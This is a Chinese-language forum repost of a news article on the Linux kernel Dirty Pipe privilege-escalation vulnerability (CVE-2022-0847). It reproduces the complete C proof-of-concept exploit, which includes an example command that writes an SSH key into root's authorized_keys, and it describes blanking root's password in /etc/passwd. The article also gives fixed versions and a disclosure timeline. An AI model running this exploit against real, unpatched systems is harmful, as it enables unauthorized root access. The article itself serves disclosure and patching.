瓜娃子喔 發表於 2023-5-22 00:00:00

Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)

<p data-id="pd157317-B0bI3cvZ">
        <img title="Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)" alt="Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)" src="https://zhuji.jb51.net/uploads/img/202305/03fff81fbdedd4195d9ddcbedb5d01ae.jpg"></p>
<p data-id="pd157317-hZO6Le9T">
        来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞:脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。</p>
<p data-id="pd157317-gKNmh9R1">
        <img title="Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)" alt="Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)" src="https://zhuji.jb51.net/uploads/img/202305/72f194912f35ccf1d006443dea4fbfd7.jpg"></p>
<p data-id="pd157317-dOXa1Eij">
        据介绍,此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据,从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。</p>
<p data-id="pd157317-gYbaHRF5">
        Max 表示,“脏管道”漏洞与几年前的“脏牛”类似,所以采用了相似的名字,不过前者更容易被利用。此外,该漏洞目前已被黑客利用,研究人员建议尽快升级版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。</p>
<p data-id="pd157317-3ESX27Nr">
        Max 在文章中提供了漏洞 PoC。</p>
<pre>
<span class="cm-comment">/* SPDX-License-Identifier: GPL-2.0 */</span> <span class="cm-comment">/*</span> <span class="cm-comment"> * Copyright 2022 CM4all GmbH / IONOS SE</span> <span class="cm-comment"> *</span> <span class="cm-comment"> * author: Max Kellermann <max.kellermann></max.kellermann>@ionos.com&gt;</span> <span class="cm-comment"> *</span> <span class="cm-comment"> * Proof-of-concept exploit for the Dirty Pipe</span> <span class="cm-comment"> * vulnerability (CVE-2022-0847) caused by an uninitialized</span> <span class="cm-comment"> * "pipe_buffer.flags" variable.It demonstrates how to overwrite any</span> <span class="cm-comment"> * file contents in the page cache, even if the file is not permitted</span> <span class="cm-comment"> * to be written, immutable or on a read-only mount.</span> <span class="cm-comment"> *</span> <span class="cm-comment"> * This exploit requires Linux 5.8 or later; the code path was made</span> <span class="cm-comment"> * reachable by commit f6dd975583bd ("pipe: merge</span> <span class="cm-comment"> * anon_pipe_buf*_ops").The commit did not introduce the bug, it was</span> <span class="cm-comment"> * there before, it just provided an easy way to exploit it.</span> <span class="cm-comment"> *</span> <span class="cm-comment"> * There are two major limitations of this exploit: the offset cannot</span> <span class="cm-comment"> * be on a page boundary (it needs to write one byte before the offset</span> <span class="cm-comment"> * to add a reference to this page to the pipe), and the write cannot</span> <span class="cm-comment"> * cross a page boundary.</span> <span class="cm-comment"> *</span> <span class="cm-comment"> * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'</span> <span class="cm-comment"> *</span> <span class="cm-comment"> * Further explanation: https://dirtypipe.cm4all.com/</span> <span class="cm-comment"> */</span> <span class="cm-property">#define</span> <span class="cm-variable">_GNU_SOURCE</span> <span class="cm-property">#include</span> <span class="cm-operator">&lt;</span><span class="cm-variable">unistd</span>.<span class="cm-property">h</span><span class="cm-operator">&gt;</span> <span class="cm-property">#include</span> <span class="cm-operator">&lt;</span><span class="cm-variable">fcntl</span>.<span class="cm-property">h</span><span class="cm-operator">&gt;</span> <span class="cm-property">#include</span> <span class="cm-operator">&lt;</span><span class="cm-variable">stdio</span>.<span class="cm-property">h</span><span class="cm-operator">&gt;</span> <span class="cm-property">#include</span> <span class="cm-operator">&lt;</span><span class="cm-variable">stdlib</span>.<span class="cm-property">h</span><span class="cm-operator">&gt;</span> <span class="cm-property">#include</span> <span class="cm-operator">&lt;</span><span class="cm-variable">string</span>.<span class="cm-property">h</span><span class="cm-operator">&gt;</span> <span class="cm-property">#include</span> <span class="cm-operator">&lt;</span><span class="cm-variable">sys</span><span class="cm-operator">/</span><span class="cm-variable">stat</span>.<span class="cm-property">h</span><span class="cm-operator">&gt;</span> <span class="cm-property">#include</span> <span class="cm-operator">&lt;</span><span class="cm-variable">sys</span><span class="cm-operator">/</span><span class="cm-variable">user</span>.<span class="cm-property">h</span><span class="cm-operator">&gt;</span> <span class="cm-property">#ifndef</span> <span class="cm-variable">PAGE_SIZE</span> <span class="cm-property">#define</span> <span class="cm-variable">PAGE_SIZE</span> <span class="cm-number">4096</span> <span class="cm-property">#endif</span> <span class="cm-comment">/**</span> <span class="cm-comment"> * Create a pipe where all "bufs" on the pipe_inode_info ring have the</span> <span class="cm-comment"> * PIPE_BUF_FLAG_CAN_MERGE flag set.</span> <span class="cm-comment"> */</span> <span class="cm-variable">static</span> <span class="cm-keyword">void</span> <span class="cm-variable">prepare_pipe</span>(<span class="cm-variable">int</span> <span class="cm-variable">p</span>[<span class="cm-number">2</span>])
{ <span class="cm-keyword">if</span> (<span class="cm-variable">pipe</span>(<span class="cm-variable">p</span>)) <span class="cm-variable">abort</span>(); <span class="cm-keyword">const</span> <span class="cm-def">unsigned</span> <span class="cm-variable">pipe_size</span> <span class="cm-operator">=</span> <span class="cm-variable">fcntl</span>(<span class="cm-variable">p</span>[<span class="cm-number">1</span>], <span class="cm-variable">F_GETPIPE_SZ</span>); <span class="cm-variable">static</span> <span class="cm-variable">char</span> <span class="cm-variable">buffer</span>[<span class="cm-number">4096</span>]; <span class="cm-comment">/* fill the pipe completely; each pipe_buffer will now have</span> <span class="cm-comment"> the PIPE_BUF_FLAG_CAN_MERGE flag */</span> <span class="cm-keyword">for</span> (<span class="cm-variable-2">unsigned</span> <span class="cm-variable">r</span> <span class="cm-operator">=</span> <span class="cm-variable">pipe_size</span>; <span class="cm-variable">r</span> <span class="cm-operator">&gt;</span> <span class="cm-number">0</span>;) { <span class="cm-variable-2">unsigned</span> <span class="cm-variable">n</span> <span class="cm-operator">=</span> <span class="cm-variable">r</span> <span class="cm-operator">&gt;</span> <span class="cm-variable">sizeof</span>(<span class="cm-variable">buffer</span>) <span class="cm-operator">?</span> <span class="cm-variable">sizeof</span>(<span class="cm-variable">buffer</span>) : <span class="cm-variable">r</span>; <span class="cm-variable">write</span>(<span class="cm-variable">p</span>[<span class="cm-number">1</span>], <span class="cm-variable">buffer</span>, <span class="cm-variable">n</span>); <span class="cm-variable">r</span> <span class="cm-operator">-=</span> <span class="cm-variable">n</span>;
} <span class="cm-comment">/* drain the pipe, freeing all pipe_buffer instances (but</span> <span class="cm-comment"> leaving the flags initialized) */</span> <span class="cm-keyword">for</span> (<span class="cm-variable-2">unsigned</span> <span class="cm-variable">r</span> <span class="cm-operator">=</span> <span class="cm-variable">pipe_size</span>; <span class="cm-variable">r</span> <span class="cm-operator">&gt;</span> <span class="cm-number">0</span>;) { <span class="cm-variable-2">unsigned</span> <span class="cm-variable">n</span> <span class="cm-operator">=</span> <span class="cm-variable">r</span> <span class="cm-operator">&gt;</span> <span class="cm-variable">sizeof</span>(<span class="cm-variable">buffer</span>) <span class="cm-operator">?</span> <span class="cm-variable">sizeof</span>(<span class="cm-variable">buffer</span>) : <span class="cm-variable">r</span>; <span class="cm-variable">read</span>(<span class="cm-variable">p</span>[<span class="cm-number">0</span>], <span class="cm-variable">buffer</span>, <span class="cm-variable">n</span>); <span class="cm-variable">r</span> <span class="cm-operator">-=</span> <span class="cm-variable">n</span>;
} <span class="cm-comment">/* the pipe is now empty, and if somebody adds a new</span> <span class="cm-comment"> pipe_buffer without initializing its "flags", the buffer</span> <span class="cm-comment"> will be mergeable */</span> } <span class="cm-variable">int</span> <span class="cm-variable">main</span>(<span class="cm-variable">int</span> <span class="cm-variable">argc</span>, <span class="cm-variable">char</span> <span class="cm-operator">**</span><span class="cm-variable">argv</span>)
{ <span class="cm-keyword">if</span> (<span class="cm-variable">argc</span> <span class="cm-operator">!=</span> <span class="cm-number">4</span>) { <span class="cm-variable">fprintf</span>(<span class="cm-variable">stderr</span>, <span class="cm-string">"Usage: %s TARGETFILE OFFSET DATA\n"</span>, <span class="cm-variable">argv</span>[<span class="cm-number">0</span>]); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-comment">/* dumb command-line argument parser */</span> <span class="cm-keyword">const</span> <span class="cm-def">char</span> <span class="cm-operator">*</span><span class="cm-keyword">const</span> <span class="cm-variable">path</span> <span class="cm-operator">=</span> <span class="cm-variable">argv</span>[<span class="cm-number">1</span>]; <span class="cm-variable">loff_t</span> <span class="cm-variable">offset</span> <span class="cm-operator">=</span> <span class="cm-variable">strtoul</span>(<span class="cm-variable">argv</span>[<span class="cm-number">2</span>], <span class="cm-variable">NULL</span>, <span class="cm-number">0</span>); <span class="cm-keyword">const</span> <span class="cm-def">char</span> <span class="cm-operator">*</span><span class="cm-keyword">const</span> <span class="cm-variable">data</span> <span class="cm-operator">=</span> <span class="cm-variable">argv</span>[<span class="cm-number">3</span>]; <span class="cm-keyword">const</span> <span class="cm-def">size_t</span> <span class="cm-variable">data_size</span> <span class="cm-operator">=</span> <span class="cm-variable">strlen</span>(<span class="cm-variable">data</span>); <span class="cm-keyword">if</span> (<span class="cm-variable">offset</span> <span class="cm-operator">%</span> <span class="cm-variable">PAGE_SIZE</span> <span class="cm-operator">==</span> <span class="cm-number">0</span>) { <span class="cm-variable">fprintf</span>(<span class="cm-variable">stderr</span>, <span class="cm-string">"Sorry, cannot start writing at a page boundary\n"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-keyword">const</span> <span class="cm-def">loff_t</span> <span class="cm-variable">next_page</span> <span class="cm-operator">=</span> (<span class="cm-variable">offset</span> <span class="cm-operator">|</span> (<span class="cm-variable">PAGE_SIZE</span> <span class="cm-operator">-</span> <span class="cm-number">1</span>)) <span class="cm-operator">+</span> <span class="cm-number">1</span>; <span class="cm-keyword">const</span> <span class="cm-def">loff_t</span> <span class="cm-variable">end_offset</span> <span class="cm-operator">=</span> <span class="cm-variable">offset</span> <span class="cm-operator">+</span> (<span class="cm-variable-2">loff_t</span>)<span class="cm-variable">data_size</span>; <span class="cm-keyword">if</span> (<span class="cm-variable">end_offset</span> <span class="cm-operator">&gt;</span> <span class="cm-variable">next_page</span>) { <span class="cm-variable">fprintf</span>(<span class="cm-variable">stderr</span>, <span class="cm-string">"Sorry, cannot write across a page boundary\n"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-comment">/* open the input file and validate the specified offset */</span> <span class="cm-keyword">const</span> <span class="cm-def">int</span> <span class="cm-variable">fd</span> <span class="cm-operator">=</span> <span class="cm-variable">open</span>(<span class="cm-variable">path</span>, <span class="cm-variable">O_RDONLY</span>); <span class="cm-comment">// yes, read-only! :-)</span> <span class="cm-keyword">if</span> (<span class="cm-variable">fd</span> <span class="cm-operator">&lt;</span> <span class="cm-number">0</span>) { <span class="cm-variable">perror</span>(<span class="cm-string">"open failed"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-variable">struct</span> <span class="cm-variable">stat</span> <span class="cm-variable">st</span>; <span class="cm-keyword">if</span> (<span class="cm-variable">fstat</span>(<span class="cm-variable">fd</span>, <span class="cm-operator">&amp;</span><span class="cm-variable">st</span>)) { <span class="cm-variable">perror</span>(<span class="cm-string">"stat failed"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-keyword">if</span> (<span class="cm-variable">offset</span> <span class="cm-operator">&gt;</span> <span class="cm-variable">st</span>.<span class="cm-property">st_size</span>) { <span class="cm-variable">fprintf</span>(<span class="cm-variable">stderr</span>, <span class="cm-string">"Offset is not inside the file\n"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-keyword">if</span> (<span class="cm-variable">end_offset</span> <span class="cm-operator">&gt;</span> <span class="cm-variable">st</span>.<span class="cm-property">st_size</span>) { <span class="cm-variable">fprintf</span>(<span class="cm-variable">stderr</span>, <span class="cm-string">"Sorry, cannot enlarge the file\n"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-comment">/* create the pipe with all flags initialized with</span> <span class="cm-comment"> PIPE_BUF_FLAG_CAN_MERGE */</span> <span class="cm-variable-2">int</span> <span class="cm-variable">p</span>[<span class="cm-number">2</span>]; <span class="cm-variable">prepare_pipe</span>(<span class="cm-variable">p</span>); <span class="cm-comment">/* splice one byte from before the specified offset into the</span> <span class="cm-comment"> pipe; this will add a reference to the page cache, but</span> <span class="cm-comment"> since copy_page_to_iter_pipe() does not initialize the</span> <span class="cm-comment"> "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */</span> <span class="cm-operator">--</span><span class="cm-variable">offset</span>; <span class="cm-variable">ssize_t</span> <span class="cm-variable">nbytes</span> <span class="cm-operator">=</span> <span class="cm-variable">splice</span>(<span class="cm-variable">fd</span>, <span class="cm-operator">&amp;</span><span class="cm-variable">offset</span>, <span class="cm-variable">p</span>[<span class="cm-number">1</span>], <span class="cm-variable">NULL</span>, <span class="cm-number">1</span>, <span class="cm-number">0</span>); <span class="cm-keyword">if</span> (<span class="cm-variable">nbytes</span> <span class="cm-operator">&lt;</span> <span class="cm-number">0</span>) { <span class="cm-variable">perror</span>(<span class="cm-string">"splice failed"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-keyword">if</span> (<span class="cm-variable">nbytes</span> <span class="cm-operator">==</span> <span class="cm-number">0</span>) { <span class="cm-variable">fprintf</span>(<span class="cm-variable">stderr</span>, <span class="cm-string">"short splice\n"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-comment">/* the following write will not create a new pipe_buffer, but</span> <span class="cm-comment"> will instead write into the page cache, because of the</span> <span class="cm-comment"> PIPE_BUF_FLAG_CAN_MERGE flag */</span> <span class="cm-variable">nbytes</span> <span class="cm-operator">=</span> <span class="cm-variable">write</span>(<span class="cm-variable">p</span>[<span class="cm-number">1</span>], <span class="cm-variable">data</span>, <span class="cm-variable">data_size</span>); <span class="cm-keyword">if</span> (<span class="cm-variable">nbytes</span> <span class="cm-operator">&lt;</span> <span class="cm-number">0</span>) { <span class="cm-variable">perror</span>(<span class="cm-string">"write failed"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-keyword">if</span> ((<span class="cm-variable-2">size_t</span>)<span class="cm-variable">nbytes</span> <span class="cm-operator">&lt;</span> <span class="cm-variable">data_size</span>) { <span class="cm-variable">fprintf</span>(<span class="cm-variable">stderr</span>, <span class="cm-string">"short write\n"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_FAILURE</span>;
} <span class="cm-variable">printf</span>(<span class="cm-string">"It worked!\n"</span>); <span class="cm-keyword">return</span> <span class="cm-variable">EXIT_SUCCESS</span>;
}</pre>
<p data-id="pd157317-8ksmTWSn">
        据介绍,本地用户可以将自己的数据注入敏感的只读文件,消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例,修改后可直接取消 root 用户的密码,然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现,使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。</p>
<p data-id="pd157317-ECpyKDgp">
        最后,建议各位检查所使用的 Linux 服务器的内核版本,若是 5.8 以上的版本请尽快升级。</p>
<p data-id="pd157317-JuOpUwSl">
        脏管道 (Dirty Pipe) 漏洞时间线:</p>
<ul data-id="ucd67dc5-0P4P0YRF">
<li data-id="l20de63f-NSdNK8dO">
                2022-02-20:向 Linux 内核安全团队发送错误报告、漏洞利用和补丁</li>
        <li data-id="l20de63f-HYQ3g15L">
                2022-02-21:在 Google Pixel 6 上复现错误,并向 Android 安全团队发送错误报告</li>
        <li data-id="l20de63f-kCIMFk6R">
                2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议,将补丁发送到 LKML(不含漏洞详细信息)</li>
        <li data-id="l20de63f-sf3Fa4EO">
                2022-02-23:发布包含错误修复的 Linux 稳定版本 (5.16.11、5.15.25、5.10.102)</li>
        <li data-id="l20de63f-O1cWlN7q">
                2022-02-24:Google 将错误修复合并到 Android 内核</li>
        <li data-id="l20de63f-6CFC300L">
                2022-02-28:通知 linux-distros 邮件列表</li>
        <li data-id="l20de63f-pBU9tCss">
                2022-03-07:公开披露</li>
</ul>
<p data-id="pd157317-5CPvvjXd">
        本文地址:https://www.oschina.net/news/185559/linux-dirty-pipe-vulnerability</p>
頁: [1]
查看完整版本: Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)